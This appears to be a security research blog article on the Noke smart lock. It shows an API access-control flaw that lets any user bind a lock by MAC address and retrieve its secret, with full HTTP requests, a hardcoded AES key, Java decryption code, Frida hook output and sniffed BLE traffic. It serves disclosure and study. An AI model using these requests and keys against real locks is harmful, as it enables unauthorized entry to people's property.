Unlocking any Noke Lock

This article is part of the IoT article series that demonstrates how IoT devices can be hacked – some mitigations are recommended at the end of the article. Today we will talk about the security posture of a smart lock, which features fingerprint and wireless unlocking.

We will analyze the communication between an android application and it’s API, and the communication between the android application and the BLE smart-Lock.

Furthermore, the main topic will be a vulnerability found, which unlocks the lock. Yet, to achieve that, we had to reverse engineer the BLE protocol and decrypt the communication (spoiler, with a static key), as we shall see later.

We will have explored an access control vulnerability that has been found in the application’s API server, which permitted any authenticated user to reveal any Noke Smart Lock’s secret password. Then, we will dive into the custom Bluetooth protocol used by the lock to exchange data with the android application.

For the BLE analysis we have used the BLE:Bit tool, and as for the android application, we have used the frida – our own-developed frida scripts, called Frinja scripts.

Exploitation

More information about the BLE:Bit Tool: docs.blebit.io.

A Noke smart lock may be unlocked by sending a password that is retrieved by the API server. In order to retrieve the password, you must own the lock. Owning the lock means sending its mac address and your userid in order to register/bind the lock to your account.

The request is sent when the lock is found via Bluetooth and some BLE messages are exchanged between the lock and the application. However, we can bypass this step and replay the web request. This will help us to register any lock to our account without having the physical lock to our possession, and this is exactly what we are going to do:

Note: The source code follows next is the decompiled code of the app.

Bind the lock to our account:

POST /nokelock_v3/lock/bind HTTP/1.1
User-Agent: nokelockTool/1.2.3(Android 8.1.0 ; LGE/Nexus 5X)
clientType: Android
token: xxxx
uid: 267943
language: US
appVersion: 1.2.3
Content-Type: application/json;charset=UTF-8
Content-Length: 58
Host: app.nokelock.com
Connection: close
Accept-Encoding: gzip, deflate
{"name":"lock1","userId":267941,"mac":"34:03:DE:2B:0A:74"}

Response:

HTTP/1.1 200
Date: Mon, 14 Dec 2020 06:48:45 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 73
Connection: close
{
"count":0,
"message":"…",
"result":"",
"status":"2000"
}

Then issuing a getLockList in order to get the lock secrets:

POST /nokelock_v3/lock/getLockList HTTP/1.1
User-Agent: nokelockTool/1.2.3(Android 8.1.0 ; LGE/Nexus 5X)
clientType: Android
token: xxxxx
uid: 267943
language: US
appVersion: 1.2.3
Content-Type: application/json;charset=UTF-8
Content-Length: 17
Host: app.nokelock.com
Connection: close
Accept-Encoding: gzip, deflate

{"userId":267943}

Response:

HTTP/1.1 200
Date: Mon, 14 Dec 2020 06:52:50 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 5593
Connection: close
​
{
"count":0,
"message":"…",
"result":[
{
"account":"myemail@gmail.com",
"barcode":"GJY180003400",
"deviceId":"",
"electricity":"99",
"encryptedData":"RUQ2RDJCODZFQzg2RkVDOTNFOUEwREY1MTA2MEMwRkJDMjlFMTJERDFENDQzMjBEMkY5RDgxOUYwQjA2NDc1NEY3QkZCQjc3M0NERUI3MzIyMTcxMjIyRUQ0OTdDQkI1MzlDMjVDQzJCODUxRTZBNzM3REI2MTRGOUQ4OTgxMDEyNUUxRjZDREZCNzI3RkIyOTJDODIyMEI2RkU0QzhEMA==",
"firmwareVersion":"1.3",
"gsmVersion":"",
"id":214394,
"isAdmin":0,
"name":"lock1",
"nickName":"myemail@gmail.com",
"pId":0,
"remakeName":"myemail@gmail.com",
"type":0,
"uId":267943,
"update_at":"1607892322000",
"useLock":"myemail@gmail.com",
"useLockName":"myemail@gmail.com"
},
...

We have used the mac address to bind the lock to our account, and then we have used the “getLockList” operation to retrieve the secrets of my locks, in which response the newly registered lock is included.

The secret is included in the “encryptedData” field and it’s indeed encrypted.

The key to decrypt the data is hardcoded in the code (58966742920133314122157843194045) in setData function as shown below:

public void setData() {
  String[] split = new String(b.b(c.a(new String(Base64.decodeBase64(this.encryptedData.getBytes()))), c.a("58966742920133314122157843194045"))).split("&");
  this.lockKey = split[0];
  this.lockPwd = split[1];
  this.mac = split[2].trim();
}

By decoding the encrypted data we can see that we have a hex message.

th@re:~$ echo -n "RUQ2RDJCODZFQzg2RkVDOTNFOUEwREY1MTA2MEMwRkJDMjlFMTJERDFENDQzMjBEMkY5RDgxOUYwQjA2NDc1NEY3QkZCQjc3M0NERUI3MzIyMTcxMjIyRUQ0OTdDQkI1MzlDMjVDQzJCODUxRTZBNzM3REI2MTRGOUQ4OTgxMDEyNUUxRjZDREZCNzI3RkIyOTJDODIyMEI2RkU0QzhEMA==" | base64 -d | hexdump -C
00000000 45 44 36 44 32 42 38 36 45 43 38 36 46 45 43 39 |ED6D2B86EC86FEC9|
00000010 33 45 39 41 30 44 46 35 31 30 36 30 43 30 46 42 |3E9A0DF51060C0FB|
00000020 43 32 39 45 31 32 44 44 31 44 34 34 33 32 30 44 |C29E12DD1D44320D|
00000030 32 46 39 44 38 31 39 46 30 42 30 36 34 37 35 34 |2F9D819F0B064754|
00000040 46 37 42 46 42 42 37 37 33 43 44 45 42 37 33 32 |F7BFBB773CDEB732|
00000050 32 31 37 31 32 32 32 45 44 34 39 37 43 42 42 35 |2171222ED497CBB5|
00000060 33 39 43 32 35 43 43 32 42 38 35 31 45 36 41 37 |39C25CC2B851E6A7|
00000070 33 37 44 42 36 31 34 46 39 44 38 39 38 31 30 31 |37DB614F9D898101|
00000080 32 35 45 31 46 36 43 44 46 42 37 32 37 46 42 32 |25E1F6CDFB727FB2|
00000090 39 32 43 38 32 32 30 42 36 46 45 34 43 38 44 30 |92C8220B6FE4C8D0|
000000a0

Decoding the hex we have:

59,19,6,1,93,57,68,98,91,1,4,35,35,74,78,16&000000&34:03:DE:2B:0A:74

Another decryption example is the following:

53,9,98,92,95,97,64,8,4,93,17,46,66,81,97,75&000000&34:03:DE:2B:0A:02

Implementation of the decryption of the encrypted data in Java:

import java.security.Key;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
​
public class deci {
​
public static void main(String[] args) throws Exception {
    String encoded = "OTY1MDEzNjI3MDg2MEIwQTYzRjRENTIzQUI2OTZCNEU4Njg1REZENzg3QzcxMEM4OEE2NTJDMEI2NjNFNkExRTg4QUMyNDUzNEM4MDg2NEUzNTU1ODI4QkI1RDVCMjlGOENEMkMwOUUzM0M3MzRCNkJDREYwRDNERUI5NDZFMERCRTcxMkMxQjUyN0ZBMkU2Rjc1N0RBQ0E1NUU5M0NFRA==";
    byte[] encrypted = hexStringToByteArray(new String(Base64.getDecoder().decode(encoded)));
    String hexkey = "58966742920133314122157843194045";
    byte[] key = hexStringToByteArray(hexkey);  
    byte[] decrypted = decrypt(encrypted, key);
    System.out.println(new String(decrypted));
}
​
public static byte[] hexStringToByteArray(String s) {
    int len = s.length();
    byte[] data = new byte[len / 2];
    for (int i = 0; i < len; i += 2) {
        data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
                + Character.digit(s.charAt(i+1), 16));
    }
    return data;
}
​
public static byte[] decrypt(byte[] data, byte[] key) {
    try {
        Key secretKeySpec = new SecretKeySpec(key, "AES");
        Cipher instance = Cipher.getInstance("AES/ECB/NoPadding");
        instance.init(2, secretKeySpec);
        return instance.doFinal(data);
    } catch (Exception unused) {
        return null;
    }
}
}

Bluetooth Protocol

Ok, now we know how the data are used. But, how can we abuse the access control in order to increase the severity and lock/unlock or alter the lock settings?

The first question is, how can we unlock the device, after we have connected to the lock? What kind of messages must be exchanged, what kind of bytes are necessary to be sent, for the lock to be unlocked? The commands sent by the application to the lock are encrypted. We can observe that by proxying all traffic between the lock and the application using the BLE:Bit tool and using BLE:Bit’s MiTM software.

Then, we can confirm that by hooking on the encryption procedures:

Notification-handling encryption (from lock to application):

[*] SecretKeySpec.init called with key: 3b1306015d3944625b010423234a4e10 using algorithmAES
[*] Cipher.getInstance called with algorithm: AES/ECB/NoPadding

cipher.init(opmode=decrypt, key=3b1306015d3944625b010423234a4e10)
java.lang.Exception
  at javax.crypto.Cipher.init(Native Method)
  at com.nokelock.blelibrary.c.b.b(Unknown Source:14)
  at com.nokelock.blelibrary.a$1.onReceive(Unknown Source:24)
  at android.support.v4.content.c.a(Unknown Source:60)
  at android.support.v4.content.c.a(Unknown Source:0)
  at android.support.v4.content.c$1.handleMessage(Unknown Source:11)
  at android.os.Handler.dispatchMessage(Handler.java:107)
  at android.os.Looper.loop(Looper.java:237)
  at android.app.ActivityThread.main(ActivityThread.java:7948)
  at java.lang.reflect.Method.invoke(Native Method)
  at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:493)
  at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1075)

02020164b23717010103000000000000 Cipher.doFinal (ec44117009dfad40a2a909ee444e8804)
[*] SecretKeySpec.init called with key: 3b1306015d3944625b010423234a4e10 using algorithmAES

Write event (from application to lock):

[*] SecretKeySpec.init called with key: 3b1306015d3944625b010423234a4e10 using algorithmAES

[*] Cipher.getInstance called with algorithm: AES/ECB/NoPadding

cipher.init(opmode=encrypt, key=3b1306015d3944625b010423234a4e10)
java.lang.Exception
  at javax.crypto.Cipher.init(Native Method)
  at com.nokelock.blelibrary.c.b.a(Unknown Source:14)
  at com.nokelock.blelibrary.c.b.a(Unknown Source:42)
  at com.nokelock.blelibrary.a$3.run(Unknown Source:9)
  at android.os.Handler.handleCallback(Handler.java:883)
  at android.os.Handler.dispatchMessage(Handler.java:100)
  at android.os.Looper.loop(Looper.java:237)
  at android.app.ActivityThread.main(ActivityThread.java:7948)
  at java.lang.reflect.Method.invoke(Native Method)
  at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:493)
  at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1075)

b285c0658057979e46656cb9d47710fc Cipher.doFinal (06010101575a72492c2b777515145660)

BLE Notification Handler

On BLEService class, the private BluetoothGattCallback contains the following function

        public void onCharacteristicChanged(BluetoothGatt bluetoothGatt, BluetoothGattCharacteristic bluetoothGattCharacteristic) {
          BLEService.this.m.removeMessages(0);
          BLEService.this.b(bluetoothGattCharacteristic.getValue());
      }

The function handles the Bluetooth Low Energy notification which has been sent by the smartlock to the mobile device.

The execution flow seems to go to the following function:

  private void b(byte[] bArr) {
      Intent intent = new Intent("com.nokelock.y.ble_data");
      intent.putExtra("com.nokelock.y.ble_data_byte", bArr);
      a.a(intent);
  }

Which next calls the following function:

    public static void a(Activity activity, final com.nokelock.blelibrary.b.a aVar) {
      BroadcastReceiver anonymousClass1 = new BroadcastReceiver() {
          public void onReceive(Context context, Intent intent) {
              if (intent != null) {
                  Object obj = new byte[16];
                  System.arraycopy(intent.getByteArrayExtra("com.nokelock.y.ble_data_byte"), 0, obj, 0, 16); // copy first 16-bytes
                  byte[] b = b.b(obj, d.a().g()); // The b class is com.nokelock.blelibrary.c.b class, the d.a().g() returns a 16-byte array that is set by
                  String b2 = b.b(b);
                  StringBuilder stringBuilder = new StringBuilder();
                  stringBuilder.append("===获取到响应数据=== ");
                  stringBuilder.append(b2);
                  e.a("BLEService", stringBuilder.toString());
                  a.b(b2.substring(0, 4), b, b2, aVar);
              }
          }
      };
      c.a(anonymousClass1, new IntentFilter("com.nokelock.y.ble_data"));
      d.put(activity, anonymousClass1);
      anonymousClass1 = new BroadcastReceiver() {
          public void onReceive(Context context, Intent intent) {
              if (intent != null) {
                  int intExtra = intent.getIntExtra("com.nokelock.y.ble_connect_state", 0);
                  if (intExtra != -2) {
                      switch (intExtra) {
                          case 1:
                          case 2:
                          case 3:
                          case 4:
                          case 5:
                          case 6:
                              aVar.a_(intExtra);
                              return;
                          case 7:
                              aVar.b_(intExtra);
                              return;
                          case 8:
                          case 9:
                          case 10:
                          case 11:
                              aVar.c(intExtra);
                              return;
                          default:
                              return;
                      }
                  }
                  aVar.a();
              }
          }
      };
      c.a(anonymousClass1, new IntentFilter("com.nokelock.y.ble_connect_state_change"));
      e.put(activity, anonymousClass1);
  }

Messages Exchanged

Now we wish to know more of how encryption and decryption is used and at which time (at the arrival of a notification and when a write event happens), lets inspect the decrypted messages to understand any semantics.

We have connected the device via BLE:Bit and captured the communication between the mobile device and the smartlock device.

Acting as MiTM with BLE:Bit writing a custom program utilizing the BLE:Bit sdk:

Sniffed Traffic:

WRITE Android >> SmartLock  000036f6-0000-1000-8000-00805f9b34fb:   01 00  
WRITE Android >> SmartLock 000036f5-0000-1000-8000-00805f9b34fb: 3E 62 BB 1D F5 6C 60 94 84 E0 E3 87 26 0A 8B BE
N/I SmartLock >> Android 000036f6-0000-1000-8000-00805f9b34fb: 93 c6 50 7e 00 79 94 24 6e 6e 40 ea d7 f8 86 7e
WRITE Android >> SmartLock 000036f5-0000-1000-8000-00805f9b34fb: FC B1 5D A6 3E 3C DD E4 56 72 60 2D 03 34 84 98
N/I SmartLock >> Android 000036f6-0000-1000-8000-00805f9b34fb: de 4f 0d bb f5 1b 34 08 5f dd f9 fc 59 a9 c5 ef
WRITE Android >> SmartLock 000036f5-0000-1000-8000-00805f9b34fb: 6C 8F 4D 1E 27 5A A1 F0 F8 A6 F9 6F EA 57 33 B3
WRITE Android >> SmartLock 000036f5-0000-1000-8000-00805f9b34fb: 51 22 DB 94 1C 36 7E 8B C2 8B 88 D2 7A 34 5B 59
N/I SmartLock >> Android 000036f6-0000-1000-8000-00805f9b34fb: 93 c6 50 7e 00 79 94 24 6e 6e 40 ea d7 f8 86 7e
WRITE Android >> SmartLock 000036f5-0000-1000-8000-00805f9b34fb: C6 9D BC DA 2F 39 C7 AD 32 8D DA 21 B2 14 61 FE
N/I SmartLock >> Android 000036f6-0000-1000-8000-00805f9b34fb: de 4f 0d bb f5 1b 34 08 5f dd f9 fc 59 a9 c5 ef
WRITE Android >> SmartLock 000036f5-0000-1000-8000-00805f9b34fb: 45 D7 0E DB E3 7A 4E 34 4C C3 1E A0 E6 89 77 6A

We notice that the characteristic 0x36f5 is used as a transmission channel, as the mobile app always writes at that characteristic, and 0x36f6 is used as reception channel, as the characteristic is used for smartlock to send notifications to the mobile app.

Next, we can observe, that a notification happens always after a write event has been performed by the mobile application.

WRITE Android >> SmartLock 000036f6-0000-1000-8000-00805f9b34fb: 01 00
WRITE Android >> SmartLock 000036f5-0000-1000-8000-00805f9b34fb: 66 99 39 22 93 D2 35 2A 5B E9 B4 0E 5C 72 12 4A
Notifications Enabled
N/I SmartLock >> Android 000036f6-0000-1000-8000-00805f9b34fb: 03 d0 0c db 4d fe 9c 97 c2 e5 5a 3f e4 c8 08 50
WRITE Android >> SmartLock 000036f5-0000-1000-8000-00805f9b34fb: 02 F7 51 C7 61 3D EF 12 BA 42 DC BB 0F AB FE BD
N/I SmartLock >> Android 000036f6-0000-1000-8000-00805f9b34fb: fd f8 67 2a c8 b4 f5 94 52 da bd cf bb fa 5b 5d
WRITE Android >> SmartLock 000036f5-0000-1000-8000-00805f9b34fb: D2 32 7B 2A E2 F1 A2 81 78 A6 EE 33 58 4F F6 AA

Inspecting Message 1: 66 99 39 22 93 D2 35 2A 5B E9 B4 0E 5C 72 12 4A (WRITE)

[*] SecretKeySpec.init called with key: 3b1306015d3944625b010423234a4e10 using algorithmAES
[*] Cipher.getInstance called with algorithm: AES/ECB/NoPadding
cipher.init(opmode=encrypt, key=3b1306015d3944625b010423234a4e10)
7b22696e666f636f6465223a223130303030222c22726573756c74223a7b2231344e223a7b2261626c65223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623531366237373531336234613937356239613164633936633465383234222c226d6435223a223635336566373966333961333532646230616166373533616166343031366361222c2275726c223a22687474703a5c2f5c2f636e2d68616e677a686f752e6f73732d7075622e616c6979756e2d696e632e636f6d5c2f616d61702d6170695c2f636f6d6d5c2f75706c6f61645c2f6169755f312e302e302e335f312e302e305f32365f382e706e67227d2c22313146223a7b2261626c65223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623532366237373531336234613937356239613164633936633465383234227d2c22313555223a7b22796e223a2231222c2273797354696d65223a2231363037373731343033303030222c2261626c65223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623531366237373531336234613937356239613164633936633465383234227d2c22313148223a7b2261626c65223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623530366237373531336234613937356239613164633936633465383234227d2c22313650223a7b226d61223a223232222c226d69223a2238222c2261626c65223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623533366237373531336234613937356239613164633936633465383234227d2c22313648223a7b2261626c65223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623537366237373531336234613937356239613164633936633465383234227d2c2231334a223a7b2263223a3130302c2261626c65223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623531366237373531336234613937356239613164633936633465383234227d2c2231354b223a7b2261626c65223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623531366237373531336234613937356239613164633936633465383234222c22697354617267657441626c65223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623537366237373531336234613937356239613164633936633465383234227d2c2231314b223a7b2261626c65223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623533366237373531336234613937356239613164633936633465383234222c226f6666223a7b226d706e223a22323030222c22666e223a2231303030222c226d73223a22313030222c22696775223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623534366237373531336234613937356239613164633936633465383234227d2c226961223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623530366237373531336234613937356239613164633936633465383234227d2c22313537223a7b2261626c65223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623531366237373531336234613937356239613164633936633465383234222c226d223a223331323736666464316434313431653237663138666633373863333264313563222c226f6f223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623533366237373531336234613937356239613164633936633465383234222c2275223a22687474703a5c2f5c2f612e616d61702e636f6d5c2f6c62735c2f7374617469635c2f756e7a69705c2f636f5c2f61726d36342d7638615c2f636f5f312e302e302e365f312e302e305f32385f31342e706e67222c226376223a2231222c2276223a22312e302e30222c2273797354696d65223a2231363037373731343033303030222c22636f223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623537366237373531336234613937356239613164633936633465383234227d2c22313453223a7b2275726c223a22687474703a5c2f5c2f636e2d68616e677a686f752e6f73732d7075622e616c6979756e2d696e632e636f6d5c2f616d61702d6170695c2f636f6d6d5c2f75706c6f61645c2f436f6f7264696e617465536f456e686561645f365f61726d36342d7638615f646573742e706e67222c226d6435223a226637346531323837323066373834626631333863633365373066383330316631227d2c22313142223a7b22636f756e74223a2d312c22736e223a5b22636f6d2e616d61702e6170692e736572766963652e414d617053657276696365225d2c2263616c6c616d6170666c6167223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623534366237373531336234613937356239613164633936633465383234227d2c22313147223a7b2263223a22313231222c2261626c65223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623531366237373531336234613937356239613164633936633465383234227d2c22313143223a7b2273797354696d65223a2231363037373731343033303030222c22636f756e74223a2d312c22736e223a5b22636f6d2e6175746f6e6176692e6d696e696d61702e4c4253436f6e6e656374696f6e53657276696365225d2c22616d617070757368666c6167223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623530366237373531336234613937356239613164633936633465383234227d2c2231354f223a7b2261626c65223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623535366237373531336234613937356239613164633936633465383234222c226976223a223330227d2c22313335223a7b2261626c65223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623536366237373531336234613937356239613164633936633465383234222c226e68223a312c226e223a357d2c22313149223a7b22636f223a312c226d636f223a322c2266223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623532366237373531336234613937356239613164633936633465383234222c226974223a38363430307d2c22313232223a7b2261626c65223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623533366237373531336234613937356239613164633936633465383234222c2276223a22312e302e30222c226d223a223436396132373362316164396537333937396633333962333232313765373234222c2275223a22687474703a5c2f5c2f636e2d68616e677a686f752e6f73732d7075622e616c6979756e2d696e632e636f6d5c2f616d61702d6170695c2f636f6d6d5c2f75706c6f61645c2f48747470444e535f312e302e302e335f312e302e305f32325f382e706e67227d2c22313353223a7b226e6c61223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623530366237373531336234613937356239613164633936633465383234222c22617377223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623535366237373531336234613937356239613164633936633465383234222c226874223a223330222c226f6c223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623533366237373531336234613937356239613164633936633465383234222c226d6c706c223a5b22636f6d2e7a686f752e67656765222c22636f6d2e7478792e616e797768657265222c22636f6d2e64656e69752e6d756c7469222c22636f6d2e6c65726973742e66616b656c6f636174696f6e222c22636f6d2e7368796c2e6172746966616374222c22636f6d2e66656c69782e64696e676d6f636b222c22636f6d2e646f62652e696772696d616365222c22636f6d2e6b723130312e636865636b696e222c226e65742e616e796c6f636174696f6e222c22636f6d2e77757869616f73752e72696d657468656c706572222c22636f6d2e6d686f6f6b2e64696e6764696e67617474656e64616e6365222c22746f702e613130323462797465732e6d6f636b6c6f632e63612e70726f222c22636f6d2e7a637a6d2e6c6565222c22636f6d2e71797164225d2c226f6461223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623536366237373531336234613937356239613164633936633465383234222c22696c61223a22727473703a5c2f5c2f616d61702e636f6d5c2f6164623530366237373531336234613937356239613164633936633465383234222c226174223a2231343530227d7d2c22696e666f223a224f4b222c22737461747573223a2231227d Cipher.doFinal (e1ddfdfd12c9d17ab469c41df19f4ef33b5141aba29ef3672fe79ffcf252573bc47cf259cf5dfa25522bea3d00a2bd40a07490dd28d982bb614de8cf1b90f07694b9ff0b123a58efcf445ecff70c3d6f49a8558edf821a0c2b94287bb12837470d1318a213a45a9b016c0200fce77277548254c8e2ec62aa888475db95b1c4fa0d25b8460c244326cb813b114fa9aa738e8e56f763728f1359af91e3d689fbcd2838cc5a41e4ad6a7141cbfa3315f1872436b3bfe1c4f09133051a06660b36d46ce9cc31a4acce2e634b973ca17e199e50aeb11fb9de98668e2da476f435ba4955bc0de53cea114933fb4ec2441ea15add35411e1a2a471425625505cc6b4fdef13c1abc85b556edb4e8557f525dcf23068ed333dc9e8a26b274d3d295d1eaaa0d0c92e1d48a038caab8a491c7f6c14c5aac411b5d53c51c9d9582cb885b3fda2c0f12a7edf55906b04d36e6bb3574eecff1e40138c713e017555a23f321c44fe23468662e7f2d49e0740c9542a562625c4bb71a8c1616ec2f58e900377109a1cb007fba8613dc6dbe8c0cadd6ee76228e56e8ceb3fe199fbcb8cefc30aabdd0cea6fb9213c8192cccd4983206e4f1dd9c53315846144551b898855d77d4260057a43007eb369507ad73503fca543edb3836fa934552c341da70d653f301ee624d0e2838b89d01493d0b555133881f07b61cf0f633df2e2a93976cbd866547fce4374ed304e2afa40c77a0c823adb31a0faf91ef7b21dad9068de08773089b373b8670c4850fa0970f113727d64e5470a3f023076bb8924a91cd4b75a0eecb88bfe3b247f162142bfd75ea459824cc9e6d3e5036165802c1f9d76a063be4f41172aa3521d070ca743d15c0146b4d6d7d0418df673d7b31342d7b52c557c86a6477ce3e2f7d0a2c86eac913b6da4c4da669cd7b9deff7c5524a78520d1cf89f16351756f11c329ed48f0b083e2e8e824cbe1c89ab5beed374f2c36e02d531bf7736d68858c30d841ddcaf6097d082fb345c99e875228fbe6a07d8ebadc2e3c60014d9212d985dda5d800ec3e79a2937d88ced5184b2b0e2a5b5e1b3660ff6bce1d14c2fbf0fab79d48c3b78c9f838f5cb4501bb206c6fb6ce10ad0f114aab04f5cb93dcc741d81402fbf02bd7c4a888b1d2b6704d9745cf2549fb51e2cd742165790c318e3bcd83cc3bf390488ff5fa7e0464e6783f72e68ab7f3220eee4da5399fa6555857f3dee9ac9ab1e98072d4236888d4520a6a6f468aefa9b9d24c6845f3f575637f5818a72cf969ae01c2ca998832435ef0bbd04a7f271a56f4ceeef53fb7849737dee9cfd8a2ef9850689be561c98d58c193b81ccf01d0d6a008466724d3a540b063e66c667a9fa224ee2cdd142c29e09288fc04ed7fa95ce4d25d60276e62e9faff6f7c30749f200e9321321f788054203e5d6939a9b9f5f9159aeeed48f2f818e6e901a85031be6c2e0df61b2f0e5eb0d2a3cd7a94ba765a49036ecc0ffdd5cc8871deeb0bb50586d42ee20aafcfe724edfa75ae142cb91c5dee0dbddebe71eb8b7213376572541c93ea30e81be9c3a65a6a5a85ceb4e872795dfd3aa0d642029ebbca5fcaadf3545e31b001c54bcb671c2db7f2c0ff7ed2b3def126b3e4624406c95d4c1fbed2e8f69eeba969ce5ee71732cda20a8125d0aa48e8a14946621b9f77c12adb4cb9e9730af8b794f03b9929233b8822f831a6babe4bad1b45f1c7f87608a2eec801179b2ed0b1160855859971ee793e27ef81aef611d429d52031990ce7fd8968192ccaac2334e47e3e9839a39e034c842bbaa55961568fcf06f9b08ffe0b212b9c3b3fccc80f700bcd08531de7cfbcc4c0963ddd3ed03659a039def19bb6a388267da173dd49854e3f80252e130f36bf5cc28f22fd4dc33853943237bb903a6160fcbddcce7d9a3f893cbffffaa154c57ff394a35084e7b9fea041f3b35e22b97d665e02360f9d70d1f2b95d54905aade4bef5ce1d587de59938d2046e5d5edd9ef729ad7db1b185249665ce9c25b75ecd7c7cdad61135ecb973700c92a54566eab04482abd56329eb7f9e67aeb3525123d801bb72b5829fc39108d4e8497175d77513317061dd94dee33bafbf00e02da26fc90be2f43e10adcb9388537898fd53b5982c62eea28b9fedef62f7e7a0ee738b53181f34b71cfc8b03737eb96b2f764a8fc04d4a4ab38ce70c47eeb360e8becbcbae4ae692b4a7737fb50594922e7a12daaa9d7038199f8dc4090574b1adf111df43e122b6db9c10aabbdd8526bdf828d6657ec125506591b27be566019fdcdb37bfb746858bc8534bcf41d48fbf84749855d5269a1418f027f0a120e4afcf81418dee61678715d3c70be5c9d4bf96a271f75a61263efa6a107905caaf1c727040724dfb0ab9cfbcd7e605824026db74c79a3dfec6fed45eb9683924aa37dac6083fc32768f923dcd20e655f306503a21632548eee63364b4f12f2d7475de556df50ed001df211c4a2768cec4b2d6fdc74755670f0066cbc08d83e2603e9c857d7e372d5d5be28dae453552e6c9af47601ec677f8ec7662606a2087e90e2b504175582517527b6b8e7465800831130e38c8e43084cddf7d129bf124cad5c4d7111a18d7db3278cba6c400e411d660a0522f0a45dee51e8cc27c1fe4d1d935941533aa3d51c4a35adc01b2e98fe50c50fc4686bea1581a87c2fa2942f5919aabe8a8b33e2c6200ce5a991a5bda516f98d2ba0913fd80b745e1c1944cf3233f65bed90f5fd350bb1fdd5ac49227b3f181124a965ba1d7672e3d943bbaa09b6c425762357613cf2cdc1a21dd7e95e9bce2b7f954169d8ba93d0007056f4558776290686e04b53db9babcd1dd330f599835b45b11d425fd269e02f558a77bda8e70249e95ed23f98c384a8b2b91935dae6ab9e2ed6dd5b7e24d1e0131da6be69a64539da38ffb5d4d01ad66d8d3c9087c2504e30cc4267b1313fad267815ac4bc9ef6695ccb23c68f64cd14fd72e23029c164e9624be16a6e2e2f9f5e38a940f8d02edd88d87673153601d632b6696c359e032f1bdbdb32a5eaacf4bd09cda11e430f796478fffd8a0edc4f6950f53eb737f427ce1ea2092c6dc7c2d019bccc7a8f710463fc00132516852df4c82db7b7e53437cdea269c320324223fe3d2828e5d9f0db73e64fa7efd2c2ff7af0eb7a278e466dee97913592c0c81f05c6c51c3aeda2aa02ec17b4e0387e99bd6774acfa8485c3d1cff78698285e4ea6eb55bcbce9f56eaa32e8559926f8fdea65f1826555320aadb7e150cd168a4b6701c6867a9804774cc4446800a592a31b3f18b4c3baf5b0156aca2c3dc87e983aa82930f56887f0905b88ba723a186036466f058a7b149999f981e970a39058341dec6d05f04b269b4b8e13e405fe1b1ab027d861bca07e9e06cd3d263cfe54e2a810b78e56e3ae9009b2cf956361cef9d79954eb40a5396ed2e37c37af86e24e9a62a2d8d202da08a884eca85714ec0bf64ac6fabe0b95581623c46b690848216bff4518a11aea12e5c1b06091ea0427f51e4803c196942fba49e66480b3fcc971852bced5141692562c3d4d93030e0b5545c2bc980a5f84a4dca91bc32038e87551857ac81c6da10597a12bf01edc70c4c0dd03a4d37e611fb48b3955a60eaa0667efa8fe6555c021cbe640dbef18e939ea15259fe24733e0afb40dd4f54514ec7e4530fdfb6624cf9bb1e61e1c79eebad4c035124c50ddf8bc4bc5d778e94ead74562d639c8712d73d4fc27c59535e0c3a07b62152610724db4ed8de4f8431e8715c80429e17e22c09e186a51a8d4feaecc624511b58088cfe157724d7bdbc6f6fbadb03d36d3204c56660f893c17ad95afbf724cb1c3555d82a469b85f97e9ef4980c490854b0766a975d22569d252ec9b123923133274e826bcfefd4180a244120f38a3a2d4a19133e077b6fdb61eee061605b1a8e882279f1cb74c21593710836fd88ad54d373e8cdd2c4a293aa38b74ec6137d8de7d72ed098ba156caee81f75cbe2757d699d1a8754aea4145248a208ed3265a0e38bcba4c28f9bb71ae92b0c2710d009e3792594d3b02810c851b922addd5c74dbed72739739f8e87ca410932d168410c3aca8c37fb93c4fbdb458e4b4331c9f09519c690f6292ada623c110333e26677db4f49bcc08e24016257967066f3873103386cce31b8937332943aa067a77640efc9582dabe18e8203b8a2dec4739e21607f22c94a67d4e61a8f87fbd3aeef20c38641b0a0e2bf25fd9e9a49527ffcf9036b138c6f762296b21b6eb51022dbe349a56ee48fb618e3ff7dd39786fafa0bda6ad479faae085b66d6461e5a87c92759b5133725584e68510b11ddd97f42bc0d51d3553c8050268f31963de553f4f7af09e300e4306809e3f9c31e42ba8cfeefbd259f6c45578f966e954cc9336a238)
java.lang.Exception
at javax.crypto.Cipher.init(Native Method)
at com.nokelock.blelibrary.c.b.a(Unknown Source:14)
at com.nokelock.blelibrary.c.b.a(Unknown Source:42)
at com.nokelock.blelibrary.a$3.run(Unknown Source:9)
at android.os.Handler.handleCallback(Handler.java:883)
at android.os.Handler.dispatchMessage(Handler.java:100)
at android.os.Looper.loop(Looper.java:237)
at android.app.ActivityThread.main(ActivityThread.java:7948)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:493)
